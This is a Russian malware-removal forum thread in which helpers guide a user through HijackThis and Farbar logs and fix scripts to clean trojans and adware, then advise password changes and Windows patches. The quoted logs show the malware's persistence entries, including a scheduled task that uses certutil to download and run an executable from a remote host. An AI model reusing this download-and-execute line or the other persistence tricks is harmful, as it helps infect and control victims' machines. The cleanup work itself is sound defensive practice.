Заражены windefender.exe, csrss.exe, kmservice.exe. [UDS:DangerousObject.Multi.Generic, UDS:Trojan-Dropper.Win32.Agent.sb]

Printable View

20.01.2019, 09:42
gooderman

Заражены windefender.exe, csrss.exe, kmservice.exe. [UDS:DangerousObject.Multi.Generic, UDS:Trojan-Dropper.Win32.Agent.sb]

Прошу помощи.

Заражены системные файлы windefender.exe, csrss.exe, kmservice.exe
Касперский в системной памяти видит trojan.multi.genautorunTask.c
Как мог удалил все программы, которые были установлены при заражении. Но cloudnet.exe и wup.exe удалить не удалось. После их завершения в процессах и удаления вручную, появляются снова.

При попытке сделать лог, AVZ виснет, создает только папку Quarantine с 5 файлами .dta и .ini
Autologger также завершает работу на AVZ, создает папку CrashDumps с файлами avz.exe.808.dmp, chrome.exe.2068.dmp

Подскажите что сделать, чтобы обратиться за методикой лечения
20.01.2019, 09:43
Info_bot

Уважаемый(ая) [B]gooderman[/B], спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].
20.01.2019, 11:46
Vvvyg

В безопасном режиме попробуйте логи собрать.
20.01.2019, 12:06
gooderman

Не запускается в безопасном режиме и с загрузкой сетевых драйверов в том числе
Прерывается на загрузке драйвера ClassPNP, далее перезагрузка с предложением восстановления системы
20.01.2019, 12:14
Vvvyg

HijackThis, расположенный в папке Autologgerзапускается? Если да - сделайте лог.
20.01.2019, 12:54
gooderman

Вложений: 1

[QUOTE=Vvvyg;1495230]HijackThis, расположенный в папке Autologgerзапускается? Если да - сделайте лог.[/QUOTE]

Сделал
20.01.2019, 13:29
Vvvyg

[url="http://virusinfo.info/showthread.php?t=4491"]пофиксите только эти строки[/url]:[code]R0 - HKCU\Software\Microsoft\Internet Explorer\Main: [Search Bar] = https://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKA1VtC1mRJr0-ErU7DQvze26qMhqYS05V2OIohSDdVmZ1An67pNlkvABBU6CzqnC003qzu7j_3A3GvKSogY0_Tmbucm6lxb0LzDItwRJd-309SalKFkedmqvZtR7gQ3_XXfpHL0ypzVu0d9WVt6ggdbvQY2nhuRJhmBe2V8USEjkVL5xqKFB5KR&q={searchTerms}
R0 - HKCU\Software\Microsoft\Internet Explorer\Main: [Search Page] = https://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKA1VtC1mRJr0-ErU7DQvze26qMhqYS05V2OIohSDdVmZ1An67pNlkvABBU6CzqnC003qzu7j_3A3GvKSogY0_Tmbucm6lxb0LzDItwRJd-309SalKFkedmqvZtR7gQ3_XXfpHL0ypzVu0d9WVt6ggdbvQY2nhuRJhmBe2V8USEjkVL5xqKFB5KR&q={searchTerms}
R0 - HKCU\Software\Microsoft\Internet Explorer\Main: [Start Page] = https://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKA1VtC1mRJr0-ErU7DQvze26qMhqYS05V2OIohSDdVmZ1An67pNlkvABBU6CzqnC003qzu7j_3A3GvKSogY0_Tmbucm6lBPWWFCGgPcs3uw7Ot-azc9x8e2Ur2qmBwfcXxcDzgaOoaBIhM73t5vRaXyKsmLL8xpUD8BvM3rCH9rpz1m9Y4iLnMm
R0 - HKCU\Software\Microsoft\Internet Explorer\Search: [Default_Search_URL] = https://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKA1VtC1mRJr0-ErU7DQvze26qMhqYS05V2OIohSDdVmZ1An67pNlkvABBU6CzqnC003qzu7j_3A3GvKSogY0_Tmbucm6lxb0LzDItwRJd-309SalKFkedmqvZtR7gQ3_XXfpHL0ypzVu0d9WVt6ggdbvQY2nhuRJhmBe2V8USEjkVL5xqKFB5KR&q={searchTerms}
R1 - HKCU\Software\Microsoft\Internet Explorer\Main: [SearchAssistant] = https://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKA1VtC1mRJr0-ErU7DQvze26qMhqYS05V2OIohSDdVmZ1An67pNlkvABBU6CzqnC003qzu7j_3A3GvKSogY0_Tmbucm6lxb0LzDItwRJd-309SalKFkedmqvZtR7gQ3_XXfpHL0ypzVu0d9WVt6ggdbvQY2nhuRJhmBe2V8USEjkVL5xqKFB5KR&q={searchTerms}
R4 - SearchScopes: HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{BDF61FAE-9D19-40F0-8F34-688DEB334CA9}: [URL,TopResultURL] = http://securedsearch.lavasoft.com/results.php?pr=vmn&id=webcompa&ent=ch_WCYID10477_754_190114&q={searchTerms} - Ad-Aware SecureSearch
R4 - SearchScopes: HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{ielnksrch}: [URL] = https://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKA1VtC1mRJr0-ErU7DQvze26qMhqYS05V2OIohSDdVmZ1An67pNlkvABBU6CzqnC003qzu7j_3A3GvKSogY0_Tmbucm6lxb0LzDItwRJd-309SalKFkedmqvZtR7gQ3_XXfpHL0ypzVu0d9WVt6ggdbvQY2nhuRJhmBe2V8USEjkVL5xqKFB5KR&q={searchTerms} - Search the web
O4 - HKCU\..\Run: [CloudNet] = C:\Users\SANCHOS\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe 2017
O4 - MSConfig\startupreg: 2876950 [command] = C:\Users\SANCHOS\AppData\Roaming\wsvsdi52cnr\n3eda4tdlad.exe /VERYSILENT (HKCU) (2019/01/16) (file missing)
O4 - MSConfig\startupreg: COMODO Internet Security [command] = C:\Program Files\COMODO\COMODO Internet Security\cfp.exe -h (HKLM) (2018/01/03) (file missing)
O4 - MSConfig\startupreg: CloudNet [command] = C:\Users\SANCHOS\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe 2017 (HKCU) (2019/01/20)
O4 - MSConfig\startupreg: PG5HZ08T1WRZMPD [command] = C:\Program Files (x86)\ShutdownTime\ETS24.exe (HKCU) (2019/01/16) (file missing)
O4 - MSConfig\startupreg: WN0APFPE3FBCWHU [command] = C:\Program Files\20FG6PXOQC\20FG6PXOQ.exe (HKCU) (2019/01/16) (file missing)
O4 - MSConfig\startupreg: Web Companion [command] = C:\Program Files (x86)\Lavasoft\Web Companion\Application\WebCompanion.exe --minimize (HKCU) (2019/01/16) (file missing)
O15 - Trusted Zone: http://webcompanion.com
O20 - HKLM\..\Windows: [AppInit_DLLs] = C:\ProgramData\Polygen\BioSanlab.dll (file missing)
O22 - Task (.job): (Ready) Updater_Online_Application.job - C:\Program Files (x86)\Microleaves\Online Application\Online Application Updater.exe (file missing) /silentall -nofreqcheck
O22 - Task (.job): (Running) Online Application V2G1.job - C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe (file missing) 1 69
O22 - Task (.job): (Running) Online Application V2G2.job - C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe (file missing) 1 70
O22 - Task (.job): (Running) Online Application V2G3.job - C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe (file missing) 1 71
O22 - Task (.job): (Running) Online Application V2G4.job - C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe (file missing) 1 60
O22 - Task (.job): (Running) Online Application V2G5.job - C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe (file missing) 1 61
O22 - Task (.job): (Running) Online Application V2G6.job - C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe (file missing) 1 62
O22 - Task: ScheduledUpdate - C:\Windows\system32\cmd.exe /C certutil.exe -urlcache -split -f http://headbuild.info/app/app.exe C:\Users\SANCHOS\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\SANCHOS\AppData\Local\Temp\csrss\scheduled.exe /31340
O22 - Task: Updater_Online_Application - C:\Program Files (x86)\Microleaves\Online Application\Online Application Updater.exe /silentall -nofreqcheck (file missing)
O22 - Task: csrss - C:\Windows\rss\csrss.exe
O22 - Task: lsa64 - C:\Users\SANCHOS\AppData\Local\Temp\csrss\lsa64install.exe (file missing)[/code]Перезагрузите систему.

Скачайте [URL="http://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/"]Farbar Recovery Scan Tool[/URL] и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (лучше оба в одном архиве).
21.01.2019, 12:58
gooderman

Вложений: 1

Сделал.
21.01.2019, 19:50
Vvvyg

Откройте Блокнот (Старт =>Программы => Стандартные => Блокнот). Скопируйте в него следующий код:[CODE]CreateRestorePoint:
CloseProcesses:
() C:\Windows\windefender.exe
() C:\Windows\rss\csrss.exe
() C:\Users\SANCHOS\AppData\Local\Temp\wup\wup.exe
(EpicNet Inc.) C:\Users\SANCHOS\AppData\Local\Temp\csrss\cloudnet.exe
HKLM-x32\...\Run: [] => [X]
HKU\S-1-5-21-4209359731-2217728689-3918005546-1000\...\Run: [AdobeBridge] => [X]
HKU\S-1-5-21-4209359731-2217728689-3918005546-1000\...\Run: [CloudNet] => C:\Users\SANCHOS\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe [683008 2019-01-21] (EpicNet Inc.) <==== ATTENTION
SearchScopes: HKLM-x32 -> ielnksrch URL = hxxps://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKA1VtC1mRJr0-ErU7DQvze26qMhqYS05V2OIohSDdVmZ1An67pNlkvABBU6CzqnC003qzu7j_3A3GvKSogY0_Tmbucm6lxb0LzDItwRJd-309SalKFkedmqvZtR7gQ3_XXfpHL0ypzVu0d9WVt6ggdbvQY2nhuRJhmBe2V8USEjkVL5xqKFB5KR&q={searchTerms}
BHO: No Name -> {9E6D0D23-3D72-4A94-AE1F-2D167624E3D9} -> No File
FF ExtraCheck: C:\Program Files\mozilla firefox\defaults\pref\aqrqbdqtzm3.js [2019-01-14] <==== ATTENTION (Points to *.cfg file)
FF ExtraCheck: C:\Program Files\mozilla firefox\aqrqbdqtzm3.cfg [2019-01-14] <==== ATTENTION
R2 WinDefender; C:\Windows\windefender.exe [1435136 2019-01-21] ()
S2 pgt_svc; C:\Program Files (x86)\ProxyGate\MainService.exe [X] <==== ATTENTION
2019-01-21 14:46 - 2019-01-21 14:46 - 001435136 _____ C:\Windows\windefender.exe
C:\Windows\rss\csrss.exe
C:\Windows\rss
C:\Users\SANCHOS\AppData\Local\Temp\csrss\cloudnet.exe
C:\Users\SANCHOS\AppData\Local\Temp\csrss
C:\Users\SANCHOS\AppData\Local\Temp\wup\wup.exe
C:\Users\SANCHOS\AppData\Local\Temp\wup
2019-01-21 17:10 - 2019-01-21 17:10 - 000000000 ____D C:\Users\SANCHOS\AppData\Roaming\EpicNet Inc
Virustotal: C:\Windows\SysWOW64\winver.exe
Virustotal: C:\Users\SANCHOS\Downloads\RE Vision FX Effections Plus 17.0 RePack by Team V.R.exe
2019-01-17 22:22 - 2018-09-18 22:47 - 000298241 ____N C:\Windows\Minidump\011619-9391-01.dmp
2019-01-08 18:23 - 2014-02-02 15:43 - 000000000 ____D C:\ProgramData\boost_interprocess
Task: {15A7DD2D-FAB5-456A-B9E3-B97C8E7A9B07} - \Online Application V2G6 -> No File <==== ATTENTION
Task: {3A1C286B-950A-4D02-8831-47868F303A5F} - System32\Tasks\csrss => C:\Windows\rss\csrss.exe [2019-01-21] () <==== ATTENTION
Task: {712C01A2-92B6-4220-B836-7ACE49AF5421} - \Online Application V2G5 -> No File <==== ATTENTION
Task: {76DE1FEA-8BFE-4A7B-B70D-040986E8774C} - \Online Application V2G4 -> No File <==== ATTENTION
Task: {BB22FAF6-DB4B-45B3-A708-33D916E8A837} - System32\Tasks\ScheduledUpdate => cmd.exe /C certutil.exe -urlcache -split -f hxxp://headbuild.info/app/app.exe C:\Users\SANCHOS\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\SANCHOS\AppData\Local\Temp\csrss\scheduled.exe /31340 <==== ATTENTION
Task: {C581E115-65F8-4BA1-BE71-F82786C048E6} - \Online Application V2G2 -> No File <==== ATTENTION
Task: {DC5DAD63-931B-4CD2-BBBC-C7051A76091D} - \Online Application V2G3 -> No File <==== ATTENTION
Task: {FA3530A3-62D3-4083-8F72-53E940F434A9} - \Online Application V2G1 -> No File <==== ATTENTION
WMI:subscription\__FilterToConsumerBinding->CommandLineEventConsumer.Name=\"BVTConsumer\"",Filter="__EventFilter.Name=\"BVTFilter\":
WMI:subscription\__EventFilter->BVTFilter:
WMI:subscription\CommandLineEventConsumer->BVTConsumer:
ShortcutWithArgument: C:\Users\SANCHOS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Users\SANCHOS\AppData\Local\Google\Chrome\Application\chrome.exe (Google Inc.) -> %SNP%
ShortcutWithArgument: C:\Users\SANCHOS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk -> C:\Program Files (x86)\Internet Explorer\iexplore.exe (Microsoft Corporation) -> %SNP%
ShortcutWithArgument: C:\Users\SANCHOS\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk -> C:\Users\SANCHOS\AppData\Local\Google\Chrome\Application\chrome.exe (Google Inc.) -> %SNP%
ShortcutWithArgument: C:\Users\SANCHOS\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk -> C:\Users\SANCHOS\AppData\Local\Google\Chrome\Application\chrome.exe (Google Inc.) -> %SNP%
ShortcutWithArgument: C:\Users\SANCHOS\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk -> C:\Program Files (x86)\Internet Explorer\iexplore.exe (Microsoft Corporation) -> %SNP%
ShortcutWithArgument: C:\Users\Public\Desktop\Mozilla Firefox.lnk -> C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation) -> %SNF%
AlternateDataStreams: C:\ProgramData\TEMP:2F091A97 [121]
MSCONFIG\startupreg: SnowyPond => "C:\Windows\rss\csrss.exe"
FirewallRules: [{05117D31-E2F8-4F92-B0B8-5C01536D638C}] => (Allow) C:\Windows\rss\csrss.exe ()
FirewallRules: [{C587872E-6EC4-42AA-B992-76BBAC1EFC09}] => (Allow) C:\Users\SANCHOS\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe (EpicNet Inc.)
FirewallRules: [{E32D7278-D0F0-446A-B5C2-EFD65D9623A9}] => (Allow) C:\Users\SANCHOS\AppData\Local\Temp\csrss\lsa64.exe No File
FirewallRules: [{058C57B8-27D0-426D-ABCE-530BD07D0B27}] => (Allow) C:\Users\SANCHOS\AppData\Local\Temp\csrss\lsa64.exe No File
FirewallRules: [{17967D7D-8F75-4CF9-8639-9FF438D7B971}] => (Allow) C:\Users\SANCHOS\AppData\Local\Temp\csrss\lsa64.exe No File
FirewallRules: [{F5BBE2E1-09C1-4A94-9B05-EBDC58C08A40}] => (Allow) C:\Users\SANCHOS\AppData\Local\Temp\csrss\lsa64.exe No File
FirewallRules: [{C6B579D7-566E-4A0E-B1AD-946C439509F3}] => (Allow) C:\Users\SANCHOS\AppData\Local\Temp\csrss\lsa64.exe No File
Reg: reg delete "HKU\S-1-5-21-4209359731-2217728689-3918005546-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall\CloudNet" /f
Reboot:[/CODE]
и сохраните как fixlist.txt в папку с Farbar Recovery Scan Tool. [U]При сохранении выберите кодировку [B]Юникод[/B]![/U]
Отключите до перезагрузки антивирус, [U]закройте все браузеры[/U], запустите FRST.EXE/FRST64.EXE, нажмите один раз [B]Fix[/B] и подождите. Программа создаст лог-файл ([B]Fixlog.txt[/B]). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.
22.01.2019, 13:33
gooderman

Вложений: 1

Готово. Только Юникод не выбрал при создании fixlist.txt
22.01.2019, 16:27
Vvvyg

Что с проблемой сейчас?

Загрузите, распакуйте на Рабочий стол и запустите [URL="https://yadi.sk/d/xIUtpEqJq4wru"]SecurityCheck by glax24 & Severnyj[/URL].
Запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши [B]Запуск от имени администратора[/B] (если Вы используете Windows Vista/7/8/10).
Если увидите предупреждение от фаервола относительно программы SecurityCheck, не блокируйте ее работу.
Дождитесь окончания сканирования, откроется лог в блокноте с именем SecurityCheck.txt;
Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например [I]C:\SecurityCheck\SecurityCheck.txt[/I].

Приложите этот файл к своему следующему сообщению.
23.01.2019, 14:21
gooderman

Вложений: 1

В общем система работает стабильно. Подозрительных процессов не видно. Трафик не ползет.
Эти трояны и объекты подозрительные какой вред могли нанести или нанесли? Что сделать, что изменить? Пароли? аккаунты?
Спасибо
23.01.2019, 21:48
Vvvyg

Минимум один зловред проходит как Trojan.PWS.Stealer, так что пароли от всех ресурсов надо менять.
[QUOTE]Internet Explorer 8.0.7601.17514 [color=red][b]Внимание! [url=http://windows.microsoft.com/ru-ru/internet-explorer/ie-11-worldwide-languages]Скачать обновления[/url][/b][/color]
[color=blue][b]^Онлайн установка. Последняя версия доступна при включенном обновлении Windows через интернет.^[/b][/color][/QUOTE]Установите Internet Explorer 11, [B]даже если им не пользуетесь[/B], это критически важный для безопасности компонент Windows.
[QUOTE][color=red][b]Контроль учётных записей пользователя [b]отключен[/b][/b][/color][/QUOTE]
Рекомендую ознакомиться со статьёй [URL="http://www.outsidethebox.ms/10034/"]Так ли страшен контроль учетных записей (UAC)?[/URL] и включить.
[QUOTE]------------------------------- [ HotFix ] --------------------------------
HotFix KB3115858 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3115858]Скачать обновления[/url][/b][/color]
HotFix KB3140735 [color=red][b]Внимание! [url=https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-026]Скачать обновления[/url][/b][/color]
HotFix KB3138910 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3138910]Скачать обновления[/url][/b][/color]
HotFix KB3138962 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3138962]Скачать обновления[/url][/b][/color]
HotFix KB3145739 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3145739]Скачать обновления[/url][/b][/color]
HotFix KB3146963 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3146963]Скачать обновления[/url][/b][/color]
HotFix KB3156013 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3156013]Скачать обновления[/url][/b][/color]
HotFix KB3156016 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3156016]Скачать обновления[/url][/b][/color]
HotFix KB3155178 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3155178]Скачать обновления[/url][/b][/color]
HotFix KB3153171 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3153171]Скачать обновления[/url][/b][/color]
HotFix KB3170455 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3170455]Скачать обновления[/url][/b][/color]
HotFix KB3178034 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3178034]Скачать обновления[/url][/b][/color]
HotFix KB3185911 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3185911]Скачать обновления[/url][/b][/color]
HotFix KB3184122 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3184122]Скачать обновления[/url][/b][/color]
HotFix KB3192391 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3192391]Скачать обновления[/url][/b][/color]
HotFix KB3197867 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3197867]Скачать обновления[/url][/b][/color]
HotFix KB3205394 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3205394]Скачать обновления[/url][/b][/color]
HotFix KB4012212 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212]Скачать обновления[/url][/b][/color]
HotFix KB4019263 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4019263]Скачать обновления[/url][/b][/color]
HotFix KB4022722 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4022722]Скачать обновления[/url][/b][/color]
HotFix KB4015546 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4015546]Скачать обновления[/url][/b][/color]
HotFix KB4025337 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4025337]Скачать обновления[/url][/b][/color]
HotFix KB4034679 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4034679]Скачать обновления[/url][/b][/color]
HotFix KB4041678 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4041678]Скачать обновления[/url][/b][/color]
HotFix KB4056894 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4056894]Скачать обновления[/url][/b][/color]
HotFix KB4056897 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4056897]Скачать обновления[/url][/b][/color]
HotFix KB4074587 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4074587]Скачать обновления[/url][/b][/color]
HotFix KB4103712 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4103712]Скачать обновления[/url][/b][/color]
HotFix KB4343899 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4343899]Скачать обновления[/url][/b][/color]
HotFix KB4457145 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4457145]Скачать обновления[/url][/b][/color]
HotFix KB4462923 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4462923]Скачать обновления[/url][/b][/color]
HotFix KB4480970 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4480970]Скачать обновления[/url][/b][/color]
HotFix KB4487345 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4487345]Скачать обновления[/url][/b][/color][/QUOTE]Устанавливайте, это только критические хотфиксы, включая KB4012212, который закрывает опаснейшую уязвимость, используемую в т. ч. нашумевшими в 2017 году шифровальщики WannaCry и Petya/NotPetya, а также многими майнерами и троянами.
[QUOTE]Kaspersky Internet Security v.15.0.2.396 [color=red][b]Внимание! [url=https://www.kaspersky.ru/downloads]Скачать обновления[/url][/b][/color][/QUOTE]Устаревшая давно версия.

Обновляйте, удаляйте:[QUOTE]QuickTime 7 v.7.79.80.95 [color=red][b]Данная программа больше не поддерживается разработчиком и имеет известные проблемы безопасности![/b][/color] Рекомендуется [b][url=https://support.apple.com/ru-ru/HT205771]деинсталлировать[/url][/b] данное ПО.
--------------------------- [ AdobeProduction ] ---------------------------
Adobe Flash Player 11 ActiveX 64-bit v.11.1.102.55 [color=red][b]Внимание! [url=http://download.macromedia.com/pub/flashplayer/latest/help/install_flash_player_ax.exe]Скачать обновления[/url][/b][/color]
Adobe Reader X (10.0.1) - Russian v.10.0.1 [color=red][b]Данная программа больше не поддерживается разработчиком.[/b][/color] Рекомендуется деинсталлировать ее, скачать и установить [b][url=http://get.adobe.com/ru/reader/otherversions/]Adobe Acrobat Reader DC[/url][/b].
------------------------------- [ Browser ] -------------------------------
Mozilla Firefox 45.0.2 (x64 ru) v.45.0.2 [color=red][b]Внимание! [url=https://www.mozilla.org/ru/firefox/all/]Скачать обновления[/url][/b][/color]
[color=blue][b]^Проверьте обновления через меню Справка - О Firefox!^[/b][/color]
Google Chrome v.49.0.2623.112 [color=red][b]Внимание! [url=https://www.google.ru/chrome/browser/desktop/index.html]Скачать обновления[/url][/b][/color]
[color=blue][b]^Проверьте обновления через меню Справка - О Google Chrome!^[/b][/color][/QUOTE]
23.01.2019, 21:58
CyberHelper

=C8=F2=EE=E3 =EB=E5=F7=E5=ED=E8=FF

=D1=F2=E0=F2=E8=F1=F2=E8=EA=E0 =EF=F0=EE=E2=E5=E4=E5=ED=ED=EE=E3=EE =EB=
=E5=F7=E5=ED=E8=FF:
[LIST][*]=CF=EE=EB=F3=F7=E5=ED=EE =EA=E0=F0=E0=ED=F2=E8=ED=EE=E2: [B]1[/B][*]=CE=E1=F0=E0=E1=EE=F2=E0=ED=EE =F4=E0=E9=EB=EE=E2: [B]5[/B][*]=C2 =F5=EE=E4=E5 =EB=E5=F7=E5=ED=E8=FF =EE=E1=ED=E0=F0=F3=E6=E5=ED=FB=
=E2=F0=E5=E4=EE=ED=EE=F1=ED=FB=E5 =EF=F0=EE=E3=F0=E0=EC=EC=FB:
[LIST=3D1][*] c:\users\sanchos\appdata\local\temp\csrss\cloudnet.exe - [B=
]Trojan.Win32.Agentb.jjuu[/B] ( AVAST4: Win32:CrypterX-gen [Trj] )[*] c:\users\sanchos\appdata\roaming\epicnet inc\cloudnet\cloud=
net.exe - [B]Trojan.Win32.Agentb.jjuu[/B] ( AVAST4: Win32:CrypterX-gen=
[Trj] )[*] c:\windows\kmsem\kmservice.exe - [B]not-a-virus:RiskTool.Win32.=
HackKMS.c[/B][*] c:\windows\rss\csrss.exe - [B]UDS:DangerousObject.Multi.Generic=
[/B] ( AVAST4: Win32:Malware-gen )[*] c:\windows\windefender.exe - [B]UDS:Trojan-Dropper.Win32.Agent.s=
b[/B] ( AVAST4: Win32:Trojan-gen )[/LIST][/LIST]